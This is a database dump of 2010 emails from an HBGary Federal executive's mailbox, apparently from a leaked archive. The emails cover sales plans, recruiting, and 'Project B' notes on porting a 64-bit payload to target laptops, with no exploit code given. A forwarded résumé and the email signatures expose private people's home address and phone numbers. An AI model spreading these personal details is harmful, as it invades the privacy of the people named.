our pipeline we have established fronts in many areas,\r\neven a small PWIN on this pipeline will put us in the good in the next few\r\nmonths.  Ted and I don\'t have much else to chase at the moment so we are\r\ngoing to focus our efforts on finishing the IR services offerings Ted\r\nstarted a while back and then we will get on the GSA schedule and start to\r\nmarket these offerings.  Again its a people thing, we don\'t have the people\r\nto do the work right now.  I talked to Ted last week about having all of\r\nthis ready at the latest by the FIRST conference.  I want to be able to\r\nmarket this service, as well as our other services, there.\r\n\r\nWhen do you have some time to do a telecon to discuss the pipeline, IR work,\r\nfunding, etc?\r\n\r\nAaron\r\n\r\nOn Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> What\'s up with the funding for GD?  Are they waiting for the meeting on\r\nthe\r\n> 19th?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 15, 2010 4:29 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Updated Pipeline\r\n> \r\n> We definately are going to offer IR but it is still a people problem.\r\n> I don\'t have anyone to do the work yet.  Checking to see if Dino does\r\n> that type of work.  On website, we were supposed to have Aaron spring\r\n> on already to put it up but project B funding has been delayed.  As\r\n> soon as that money comes in we will bring on Aaron and website will be\r\n> put up.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\n> wrote:\r\n> \r\n>> It looks good if you get the work.  I really think you guys need to be\r\n>> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n>> should have\r\n>> write ups, costs etc.  Are you working on these?  What about a\r\n>> website?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, April 13, 2010 9:15 AM\r\n>> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n>> Subject: Updated Pipeline\r\n>> \r\n>> Penny,\r\n>> \r\n>> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n>> updated this\r\n>> morning.  As you can see, we have lots of irons in the fire, many of\r\n>> which\r\n>> we\'re just awaiting award announcements for.\r\n>> \r\n>> Regards,\r\n>> Ted\r\n>> \r\n>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',6899,'aaron_hbgary_com/6899.html'),(5384,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003911.M434801P14101Q239.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Updated Pipeline','I am happy to do that.  But I need to talk to them first.  If you could set up a conversation we can start to get that going.\r\n\r\nAaron\r\n\r\nOn Apr 15, 2010, at 11:06 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> Later today.  You can use Foundstone you know.  We can sell and they can\r\n> service\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 15, 2010 7:26 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Ted Vera\r\n> Subject: Re: Updated Pipeline\r\n> \r\n> I believe so.\r\n> \r\n> On the IR stuff, I know you guys want us to stand this up and we will.  Ted\r\n> and I have been chasing some longer term engagements so we can build\r\n> stability in our pipeline before we focus too much in short term work which\r\n> has inherently more risk.  Long term work takes a bit longer to set up, but\r\n> as you can see from our pipeline we have established fronts in many areas,\r\n> even a small PWIN on this pipeline will put us in the good in the next few\r\n> months.  Ted and I don\'t have much else to chase at the moment so we are\r\n> going to focus our efforts on finishing the IR services offerings Ted\r\n> started a while back and then we will get on the GSA schedule and start to\r\n> market these offerings.  Again its a people thing, we don\'t have the people\r\n> to do the work right now.  I talked to Ted last week about having all of\r\n> this ready at the latest by the FIRST conference.  I want to be able to\r\n> market this service, as well as our other services, there.\r\n> \r\n> When do you have some time to do a telecon to discuss the pipeline, IR work,\r\n> funding, etc?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 15, 2010, at 7:30 AM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> What\'s up with the funding for GD?  Are they waiting for the meeting on\r\n> the\r\n>> 19th?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, April 15, 2010 4:29 AM\r\n>> To: Penny Leavy-Hoglund\r\n>> Subject: Re: Updated Pipeline\r\n>> \r\n>> We definately are going to offer IR but it is still a people problem.\r\n>> I don\'t have anyone to do the work yet.  Checking to see if Dino does\r\n>> that type of work.  On website, we were supposed to have Aaron spring\r\n>> on already to put it up but project B funding has been delayed.  As\r\n>> soon as that money comes in we will bring on Aaron and website will be\r\n>> put up.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n>> \r\n>> On Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund \r\n>> wrote:\r\n>> \r\n>>> It looks good if you get the work.  I really think you guys need to be\r\n>>> putting together offerings we can sell.  IR, Forensics, etc.  We\r\n>>> should have\r\n>>> write ups, costs etc.  Are you working on these?  What about a\r\n>>> website?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, April 13, 2010 9:15 AM\r\n>>> To: Penny Leavy-Hoglund; \'Aaron Barr\'\r\n>>> Subject: Updated Pipeline\r\n>>> \r\n>>> Penny,\r\n>>> \r\n>>> Attached is the 2010 HBGary Federal Pipeline that Aaron and I\r\n>>> updated this\r\n>>> morning.  As you can see, we have lots of irons in the fire, many of\r\n>>> which\r\n>>> we\'re just awaiting award announcements for.\r\n>>> \r\n>>> Regards,\r\n>>> Ted\r\n>>> \r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5242,'aaron_hbgary_com/5242.html'),(5385,'2010-04-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003911.M649914P14101Q240.eml','\"Barr Aaron\" <aaron@hbgary.com>','The Genius in Apple\'s Vertical Platform - steve\'s blog','http://stevecheney.posterous.com/the-genius-in-apples-vertical-platform\r\n\r\nInteresting theory\r\n\r\n',12222,'aaron_hbgary_com/12222.html'),(5386,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003911.M853364P14101Q241.eml','\"Ted Vera\" <tedvera@me.com>','Re: The Genius in Apple\'s Vertical Platform - steve\'s blog','Jobs is an evil genius.\r\n\r\nOn Apr 15, 2010, at 11:30 AM, Ted Vera wrote:\r\n\r\n> http://stevecheney.posterous.com/the-genius-in-apples-vertical-platform\r\n> \r\n> Interesting theory\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16763,'aaron_hbgary_com/16763.html'),(5387,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003912.M79102P14101Q242.eml','\"Mike Mullville\" <MICHAEL.E.MULVILLE@saic.com>','One other thing','Mike,\r\n\r\nI hear that the NTOC work is being re-competed.  I am going to take a guess if that is the case you will be trying to win that work back.  I would like to talk to you about HBGary Federal supporting that effort at the right time.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1553,'aaron_hbgary_com/1553.html'),(5388,'2010-04-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003915.M274467P14101Q243.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','New Tagline Contenders round two (PDF attached)',' \r\nCheck attached.\r\n-G\r\nOn Wed, Apr 14, 2010 at 11:18 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nI like Maria&#39;s suggestion, Defeating Tomorrow&#39;s Threat Today.  Countering isgreat for gov&#39;t, not sure it translates as well into Enterprise, but I will\r\ncheck.  Maria is right, people think we only detect, not that there isability to stop or &quot;actionable intelligence&quot;\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Wednesday, April 14, 2010 9:36 AMTo: Greg HoglundCc: all@hbgary.com; Karen Burke\r\n\r\nSubject: Re: New Tagline Contenders (PDF attached)\r\n\r\n\r\nI like #3 as a logo, but I love the tagline Detecting(Countering) Tomorrow&#39;sThreat today.Reason:Enterprise Threat Intelligence tells me something about what you provide, ithas a product statement in the logo.  It leads me.\r\nDetecting or Countering tomorrows threat today doesn&#39;t do that, its moreambiguous.  Threat Intelligence, well I need me some of that.  Countertommorows threats, well I want to do that yes, but how, through threat\r\nintelligence...I would use #3 and on business cards, website, anywhere the logo exists Iwould use the phrase, &quot;Countering (or Detecting) Tomorrow&#39;s Threat Today&quot;.AaronOn Apr 14, 2010, at 10:17 AM, Greg Hoglund wrote:\r\n&gt;&gt; OK, three taglines in the finals.&gt;&gt; -Greg&gt; &lt;HB_Gary_Tagline_Logos_v1.pdf&gt;Aaron BarrCEOHBGary Federal Inc.\r\n',3388,'aaron_hbgary_com/3388.html'),(5389,'2010-04-15','\"Dino Dai Zovi\" <ddz@trailofbits.com>','/aaron@hbgary.com/new/1297003915.M597204P14101Q244.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','Hello Aaron,\r\n\r\nI don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n\r\nOn second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\n\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n\r\n> Ok.  Great.\r\n> \r\n> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n> \r\n> Do you hold a clearance at all?\r\n> \r\n> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n> \r\n> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n> \r\n> Probably others too but this is a good start off the top of my head.\r\n> \r\n> What types of things are you most interested in working on?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>> \r\n>> Cheers,\r\n>> \r\n>> -Dino\r\n>> \r\n>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>> \r\n>>> \r\n>>> \r\n>>> ---------- Forwarded message ----------\r\n>>> From: Aaron Barr \r\n>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>> Subject: Update\r\n>>> To: Dino Dai Zovi \r\n>>> \r\n>>> \r\n>>> LinkedIn\r\n>>> Aaron Barr has sent you a message.\r\n>>> Date: 4/13/2010\r\n>>> Subject: Update\r\n>>> Hi Dino,\r\n>>> \r\n>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>> \r\n>>> Aaron\r\n>>> View/reply to this message\r\n>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>> \r\n>>> © 2010, LinkedIn Corporation\r\n>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',9921,'aaron_hbgary_com/9921.html'),(5390,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003916.M283221P14101Q245.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','Begin forwarded message:From: David Willson &lt;willson.david.l@gmail.com&gt;\r\nDate: April 15, 2010 10:09:40 AM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: HBGary\r\nTed, thank you for the call.  I look forward to working with you and believe we can do a lot of great work together.  I have attached my resume&#39;.  I few points I would note that are not in the resume&#39;.  It does not include my trial work time.  I spent almost 8 years doing military cases and trials in US District Court, so am very familiar with chain of custody, evidence collection and some forensics with computers.  Along the forensics lines I met a security consultant at the RSA conference in San Francisco where I was speaking and he is speaking on forensics in the cloud and wants to collaborate on a paper.  So, I am going to be putting together an article on legal issues of forensics in the cloud and then we are going to speak together on this topic at various venues.  Also, I have a good amount of experience with psyops and networks that is not outlined in the resume&#39; and many contacts to get quick answers.  The resume&#39; does not go into a lot of detail due to classification levels.  \r\n\r\n\r\nAnyway, Scott mentioned you may have a short term need I may be able to assist with.  If so please let me know as soon as possible since as I mentioned I can get a release to do work outside of my active duty work right now, but need to know the nature of the work, whether legal or other, and a start date.  \r\n\r\n\r\nOther than that, great speaking to you and I look forward to meeting you.\r\n \r\nDave\r\n \r\nDavid L. Willson, Esq.\r\nCISSP, Security +719-554-2129w\r\n719-648-4176c\r\nOn Wed, Apr 14, 2010 at 8:11 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi David,It was a pleasure speaking with you.  I look forward to the possibilityof establishing a consulting agreement with you to assist us with IO and\r\n\r\nforensics / incident response activities.  Attached is a recentwhitepaper we published which demonstrates our malware reverseengineering and analysis capabilities.  You can learn more about HBGaryby visiting http://www.hbgary.com\r\n\r\nPlease forward your resume at your convenience.Regards,Ted---Ted VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1643,'aaron_hbgary_com/1643.html'),(5391,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003916.M533165P14101Q246.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Update','Odd response.  I have been told he Knows mandiant folks and is going to start helping them.AaronFrom my iPhoneBegin forwarded message:\r\nFrom: Dino Dai Zovi &lt;ddz@trailofbits.com&gt;Date: April 15, 2010 12:07:07 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: UpdateHello Aaron,I don&#39;t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\nOn second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn&#39;t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\nCheers,-DinoOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:Ok.  Great.\r\nWe have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\nDo you hold a clearance at all?\r\nAre you familiar with DARPA&#39;s cyber genome project?  There were 3 Technical areas and we sub&#39;d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\nDo you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\nProbably others too but this is a good start off the top of my head.\r\nWhat types of things are you most interested in working on?Aaron\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\nHi Aaron,\r\nYes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\nCheers,\r\n-Dino\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n---------- Forwarded message ----------\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, Apr 13, 2010 at 10:43 AMSubject: Update\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.Date: 4/13/2010\r\nSubject: Update\r\nHi Dino,\r\nIt look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\nAaron\r\nView/reply to this message\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4173,'aaron_hbgary_com/4173.html'),(5392,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003916.M805167P14101Q247.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Update','He is probably right. On Apr 15, 2010, at 10:25 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOdd response.  I have been told he Knows mandiant folks and is going to start helping them.AaronFrom my iPhoneBegin forwarded message:\r\n\r\nFrom: Dino Dai Zovi &lt;ddz@trailofbits.com&gt;Date: April 15, 2010 12:07:07 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: Re: UpdateHello Aaron,I don&#39;t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n\r\nOn second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn&#39;t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n\r\nCheers,-DinoOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:Ok.  Great.\r\n\r\nWe have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n\r\nDo you hold a clearance at all?\r\n\r\nAre you familiar with DARPA&#39;s cyber genome project?  There were 3 Technical areas and we sub&#39;d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n\r\nDo you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n\r\nProbably others too but this is a good start off the top of my head.\r\n\r\nWhat types of things are you most interested in working on?Aaron\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\nHi Aaron,\r\n\r\nYes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n\r\nCheers,\r\n\r\n-Dino\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: Tue, Apr 13, 2010 at 10:43 AMSubject: Update\r\n\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\n\r\nLinkedIn\r\n\r\nAaron Barr has sent you a message.Date: 4/13/2010\r\n\r\nSubject: Update\r\n\r\nHi Dino,\r\n\r\nIt look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n\r\nAaron\r\n\r\nView/reply to this message\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',8867,'aaron_hbgary_com/8867.html'),(5393,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003917.M37955P14101Q248.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Project B','Begin forwarded message:From: Mark Trynor &lt;mark@hbgary.com&gt;\r\nDate: April 15, 2010 11:54:01 AM MDTTo: embleton@clearhatconsulting.comCc: Ted Vera &lt;ted@hbgary.com&gt;, Martin Pillion &lt;martin@hbgary.com&gt;\r\nSubject: Re: Project BIt works.  My fault.  I had the wrong address.On Thu, Apr 15, 2010 at 10:48 AM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\n\r\nAttached are screenshots from when I reran the test with hyperthreading\r\noff and a fresh install of Vista Ultimate SP2 with only the important\r\nupdates installed (no optional updates).  It did the same thing it was\r\ndoing in Enterprise.\r\n\r\nTed Vera wrote:\r\n&gt; Below are my notes from our conference call and the subsequent call I\r\n&gt; had with the customer regarding the target laptops.  If I missed\r\n&gt; anything, or you see any inaccuracies, please let me know.\r\n&gt;\r\n&gt; I tried to capture the estimated times these tasks would take during\r\n&gt; the call, but we missed some.  Can you please send me your estimates\r\n&gt; for assigned tasks.  If you see a schedule/technical risk, please let\r\n&gt; me know, and we&#39;ll try to mitigate.\r\n&gt;\r\n&gt; Remaining Tasks:\r\n&gt; Mark:  Complete the Vista 64 testing\r\n&gt; Clearhat:  Create visual demo for 64-bit payload to open\r\n&gt; window/calculator, or write-out &quot;hello world&quot; file to c:\\ using bios\r\n&gt; interrupts. Possibly use metasploit to spit out 64-bit shell code.\r\n&gt; Clearhat:  Port to Windows 7 64-bit w visual demo payload (est. 1-2 days)\r\n&gt; Mark:  Test Windows 7 64\r\n&gt; Clearhat:  Tie the Vista 64-bit port to the previous FW implementation\r\n&gt; Clearhat:  Tie the Windows 7 port to the previous FW implementation\r\n&gt; Mark:  Test Windows Vista 32-bit\r\n&gt; Martin:  Update Python Shell Code (minimal code changes), review final\r\n&gt; 32/64 bit FW implementation.\r\n&gt; Mark:  Test fully integrated 32/64 bit FW implementation\r\n&gt; Martin:  Final demo / sell off preparations\r\n&gt;\r\n&gt; Other Notes:\r\n&gt; 64-bit port reliably hits user-mode payload every time (in 64-bit Vista).\r\n&gt; Skips past the 6-7 clean-ups, could cause some stability issues.\r\n&gt; Shawn has 4-5 days he can devote.\r\n&gt; Shawn&#39;s dev system uses Intel e8400 core 2 duo\r\n&gt; Mark is installing Vista Ultimate\r\n&gt; Mark disabled hyper-threading and the test still failed\r\n&gt;\r\n&gt; The demo sell-off is scheduled for next Thursday &amp; Friday.  Martin was\r\n&gt; correct that the laptops will just be grabbed out of a supply bin,\r\n&gt; basically.  The customer would prefer to keep the target laptop OS&#39;s\r\n&gt; unknown, to be &quot;part of the fun&quot; next week.  We will have Thursday\r\n&gt; night to iron-out wrinkles, and re-present to the customer on Friday\r\n&gt; if needed.  I told him we are going to focus our testing on the OS&#39;s\r\n&gt; that are on the list, and for Vista, we&#39;re using Vista Ultimate.\r\n&gt; We&#39;ll test additional OS versions if time is available.\r\n&gt;\r\n\r\n\r\n',10920,'aaron_hbgary_com/10920.html'),(5394,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003917.M405335P14101Q249.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#2nd6gkdifufa4jyu','Begin forwarded message:From: &lt;justin.fraley1@gmail.com&gt;\r\nDate: April 15, 2010 12:10:11 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #2nd6gkdifufa4jyu\r\nReply-To: &lt;justin.fraley1@gmail.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\nCover Letter\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJustin  Fraley \r\n\r\nToledo, OH  43615\r\nUS\r\njustin.fraley1@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile:   \r\nHome: Contact Preference: Email\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n2nd6gkdifufa4jyu   Resume Headline: 7+ Years Military/Intel Experience  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\nJustin R. Fraley\r\n580\r\n8 Thunder Hollow Toledo, OH 43615\r\n\r\n419.559.6767\r\njustin.fraley1@gmail.com\r\n\r\nObjective\r\n\r\n\r\nTo gain employment where my military intelligence experience &amp; training can be fully utilized.\r\n \r\nSummary of Qualifications\r\n\r\n Thorough knowledge and experience in:\r\n• Signal collection/interpretation • Advanced use of signal collection equipment • Surveillance, and Reconnaissance • Servant leadership • Ability to effectively &amp; efficiently utilize resources through joint operations • Ability to perform all aspects of SIGINT in multiple capacities • Qualified on all U.S. Army weapon systems • \r\nTop Secret SCI security clearance (expires 2013) • Committed to lifelong learning &amp; the sustainable development \r\n \r\nWork Experience\r\n\r\n \r\nThe United States Army \r\nOverseas, Iraqi Theatre \r\n \r\nProduced in-depth development/analysis for over 100 reports from classified sources. Moreover, this function provided key commanders the ability to receive clear and concise intelligence on insurgent operations.\r\n Maintain technical databases in support of analysis/collection operations\r\n Led research and execution request for tactical line units\r\n\r\n Completed over 50 National Level Reports for sensitive combat operations\r\n \r\n Fort Meade, Maryland\r\n\r\nServed in the Signals Intelligence Directorate of the National Security Agency  Served as Senior Multimode operator and block controller during Join Service Operations\r\n Led the production of over 1200 time sensitive intelligence reports\r\n Mentored junior operators, ensuring sustainable knowledge transfer\r\n\r\nEnsured theater policy makers instantaneously received timely and accurate intelligence reports\r\n \r\n  Fort Wainwright, Alaska \r\n\r\n Promoted team leader for PROPHET Team\r\nField Operations Team Leader assisting in the intelligence &amp; communication for over five areas of operations.\r\n Led the training &amp; development for Delta Troop, ensuring compliance and readiness of the wartime mission objectives\r\n \r\nLed communication and sustainability standards and monthly counseling meetings\r\n 2002-2006 (recall 2008 – current)\r\n \r\n\r\n \r\n \r\nEducation \r\n \r\n \r\n  \r\n \r\n  \r\n\r\n \r\n  \r\n \r\n \r\nDecorations  &amp; Awards\r\n \r\n  \r\n\r\nDEPL 2000 – 35N 13 Week Communication Collection &amp; Processing Course \r\nAN/MLQ-40 Prophet Net\r\n98H: Communications Locator &amp; Interceptor\r\nSINGARS Radio NetHARRIS Radio Net\r\n\r\nGround Surveillance Reconnaissance NetAttended several continuous learning courses \r\nCombat Life Saver Course\r\n  \r\n\r\n National Security Agency – Joint Service Achievement Medal\r\nNational Security Agency – Joint Meritorious Unit Award\r\n56th Stryker Brigade Combat Team – Combat Action Badge\r\n2nd\r\n Squadron 104th U.S. Cavalry – Order of the Spur \r\nTask Force Raven – Former Wartime Service Insignia\r\nUnited States Armed Forces Reserves Medal (with M device)United States Army – Army Achievement Medal (2)\r\n\r\nUnited States Army – Overseas Ribbon United States Army – Iraqi Campaigns Medal (Bronze Service Star)\r\nUnited States Army – Good Conduct Medal\r\nUnited States Army – Global War On Terrorism Service MedalUnited States Army – Service Ribbon\r\nUnited States Army – National Defense Service Medal\r\n \r\n \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n17.00 - 33.00 USD Per Hour \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nManager (Manager/Supervisor of Staff)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n5+ to 7 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\nImmediately\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security 